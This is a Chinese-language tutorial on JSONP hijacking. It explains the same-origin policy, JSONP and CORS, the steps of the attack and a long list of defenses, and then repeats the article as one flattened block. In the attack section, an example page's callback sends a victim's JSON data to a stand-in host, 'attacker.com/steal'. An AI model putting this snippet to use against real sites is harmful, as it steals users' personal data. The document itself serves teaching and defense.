渗透测试之JSONP劫持原理
字数 1689 2025-08-10 16:34:28

JSONP劫持原理与防御详解

同源策略基础

同源策略定义

同源策略(Same-Origin Policy)是浏览器的核心安全机制,它限制来自不同源的文档或脚本如何相互交互。具体表现为:

  • 限制范围:不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源
  • 隔离作用:用于隔离潜在恶意文件的重要安全机制

同源判定标准

判断两个URL是否同源,需比较三个要素:

  1. 协议(如http/https)
  2. 域名(包括子域名)
  3. 端口号

示例分析

URL 比较基准 结果 原因
http://a.xyz.com/test/other111.html http://a.xyz.com/test/page.html 同源 完全相同
https://a.xyz.com/secure.html http://a.xyz.com/page.html 不同源 协议不同(http/https)
http://a.xyz.com:81/dir/etc.html http://a.xyz.com/dir/page.html 不同源 端口不同(81/80)
http://a.opq.com/dir/other.html http://a.xyz.com/dir/page.html 不同源 域名不同

不受同源策略限制的场景

  1. 页面链接(如<a>标签)
  2. 重定向操作
  3. 表单提交
  4. 跨域资源引入:
    • <script src="...">
    • ``
    • <link href="...">
    • <iframe src="...">

跨域解决方案

1. JSONP跨域

基本原理

JSONP(JSON with Padding)利用<script>标签不受同源策略限制的特性实现跨域:

  1. 客户端定义回调函数
  2. 动态创建<script>标签,src指向目标URL并包含回调函数名
  3. 服务器返回用该回调函数包裹的JSON数据

示例代码

// 客户端定义回调函数
function handleResponse(data) {
    console.log('Received data:', data);
}

// 创建script标签
const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.body.appendChild(script);

服务器响应

handleResponse({"username":"admin","email":"admin@example.com"});

安全风险

  1. CSRF风险:自动发送用户凭据
  2. 敏感数据泄露:攻击者可构造恶意页面获取用户数据

2. CORS跨域

CORS(Cross-Origin Resource Sharing)是现代浏览器支持的官方跨域方案:

  • 服务器通过设置Access-Control-Allow-Origin等响应头声明允许的源
  • 复杂请求会先发送OPTIONS预检请求

JSONP劫持详解

攻击原理

  1. 发现存在JSONP接口的网站
  2. 构造恶意页面诱导用户访问
  3. 用户浏览器自动执行JSONP请求并泄露数据

攻击步骤

  1. 识别漏洞:找到返回敏感数据的JSONP端点

    • 常见参数名:callbackjsonpcb
    • 响应内容为JavaScript而非纯JSON
  2. 构造攻击页面

<script>
function maliciousCallback(data) {
    // 将窃取的数据发送到攻击者服务器
    new Image().src = 'http://attacker.com/steal?data=' + JSON.stringify(data);
}
</script>
<script src="https://victim.com/api/userinfo?callback=maliciousCallback"></script>
  1. 诱导受害者访问:通过社交工程等方式传播恶意链接

实际案例

  • 某社交平台用户信息泄露:通过JSONP接口可获取用户姓名、邮箱等敏感信息
  • 电商网站订单数据泄露:未授权访问返回用户历史订单数据

防御措施

1. 服务端防御

  1. 禁用JSONP:改用CORS实现跨域
  2. 验证Referer:检查请求来源是否合法
  3. 添加Token:要求携带CSRF Token
  4. 限制回调函数名:只允许预定义的安全名称
  5. 内容类型检查:设置正确的Content-Type

2. 客户端防御

  1. 避免敏感数据通过JSONP传输:关键操作使用CORS
  2. 设置HttpOnly和Secure标志:保护Cookie安全
  3. 实施CSRF防护:添加随机Token

3. 其他建议

  1. 敏感操作二次验证:如短信/邮箱验证
  2. 日志监控:异常请求告警
  3. 定期安全测试:包括JSONP接口审计

总结

JSONP劫持是一种利用浏览器同源策略例外特性的攻击方式,防御需要综合服务端和客户端措施。现代Web开发中,建议优先使用CORS替代JSONP实现跨域需求,从根本上消除此类安全隐患。

JSONP劫持原理与防御详解 同源策略基础 同源策略定义 同源策略(Same-Origin Policy)是浏览器的核心安全机制,它限制来自不同源的文档或脚本如何相互交互。具体表现为: 限制范围 :不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源 隔离作用 :用于隔离潜在恶意文件的重要安全机制 同源判定标准 判断两个URL是否同源,需比较三个要素: 协议 (如http/https) 域名 (包括子域名) 端口号 示例分析 : | URL | 比较基准 | 结果 | 原因 | |-----|----------|------|------| | http://a.xyz.com/test/other111.html | http://a.xyz.com/test/page.html | 同源 | 完全相同 | | https://a.xyz.com/secure.html | http://a.xyz.com/page.html | 不同源 | 协议不同(http/https) | | http://a.xyz.com:81/dir/etc.html | http://a.xyz.com/dir/page.html | 不同源 | 端口不同(81/80) | | http://a.opq.com/dir/other.html | http://a.xyz.com/dir/page.html | 不同源 | 域名不同 | 不受同源策略限制的场景 页面链接(如 <a> 标签) 重定向操作 表单提交 跨域资源引入: <script src="..."> `` <link href="..."> <iframe src="..."> 跨域解决方案 1. JSONP跨域 基本原理 JSONP(JSON with Padding)利用 <script> 标签不受同源策略限制的特性实现跨域: 客户端定义回调函数 动态创建 <script> 标签,src指向目标URL并包含回调函数名 服务器返回用该回调函数包裹的JSON数据 示例代码 : 服务器响应 : 安全风险 CSRF风险 :自动发送用户凭据 敏感数据泄露 :攻击者可构造恶意页面获取用户数据 2. CORS跨域 CORS(Cross-Origin Resource Sharing)是现代浏览器支持的官方跨域方案: 服务器通过设置 Access-Control-Allow-Origin 等响应头声明允许的源 复杂请求会先发送OPTIONS预检请求 JSONP劫持详解 攻击原理 发现存在JSONP接口的网站 构造恶意页面诱导用户访问 用户浏览器自动执行JSONP请求并泄露数据 攻击步骤 识别漏洞 :找到返回敏感数据的JSONP端点 常见参数名: callback 、 jsonp 、 cb 等 响应内容为JavaScript而非纯JSON 构造攻击页面 : 诱导受害者访问 :通过社交工程等方式传播恶意链接 实际案例 某社交平台用户信息泄露:通过JSONP接口可获取用户姓名、邮箱等敏感信息 电商网站订单数据泄露:未授权访问返回用户历史订单数据 防御措施 1. 服务端防御 禁用JSONP :改用CORS实现跨域 验证Referer :检查请求来源是否合法 添加Token :要求携带CSRF Token 限制回调函数名 :只允许预定义的安全名称 内容类型检查 :设置正确的 Content-Type 头 2. 客户端防御 避免敏感数据通过JSONP传输 :关键操作使用CORS 设置HttpOnly和Secure标志 :保护Cookie安全 实施CSRF防护 :添加随机Token 3. 其他建议 敏感操作二次验证 :如短信/邮箱验证 日志监控 :异常请求告警 定期安全测试 :包括JSONP接口审计 总结 JSONP劫持是一种利用浏览器同源策略例外特性的攻击方式,防御需要综合服务端和客户端措施。现代Web开发中,建议优先使用CORS替代JSONP实现跨域需求,从根本上消除此类安全隐患。